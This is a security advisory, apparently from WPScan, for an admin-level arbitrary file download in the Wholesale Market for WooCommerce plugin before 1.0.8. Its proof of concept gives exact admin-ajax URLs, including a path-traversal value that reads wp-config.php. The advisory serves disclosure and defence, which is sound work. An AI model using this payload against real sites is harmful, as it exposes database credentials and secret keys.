WordPress Plugin Vulnerabilities

Wholesale Market for WooCommerce < 1.0.8 - Admin+ Arbitrary File Download

Description

The plugin does not validate user input used to generate system path, allowing high privilege users such as admin to download arbitrary file from the server even when they should not be able to (for example in multisite)

Proof of Concept

First call https://example.com/wp-admin/admin-ajax.php?action=ced_cwsm_csv_import_export_module_read_csv which will create the log directory

Then call http://example.com/wp-admin/admin-ajax.php?action=ced_cwsm_csv_import_export_module_download_error_log&tab=ced_cwsm_plugin&section=ced_cwsm_csv_import_export_module&nonce=&ced_cwsm_log_download=../../../wp-config.php to download the wp-config.php

Affects Plugins

References

Classification

Type
FILE DOWNLOAD
OWASP top 10
CWE

Miscellaneous

Original Researcher
WPScan
Verified
Yes

Timeline

Publicly Published
2022-11-28 (about 1 years ago)
Added
2022-11-28 (about 1 years ago)
Last Updated
2022-11-28 (about 1 years ago)

Other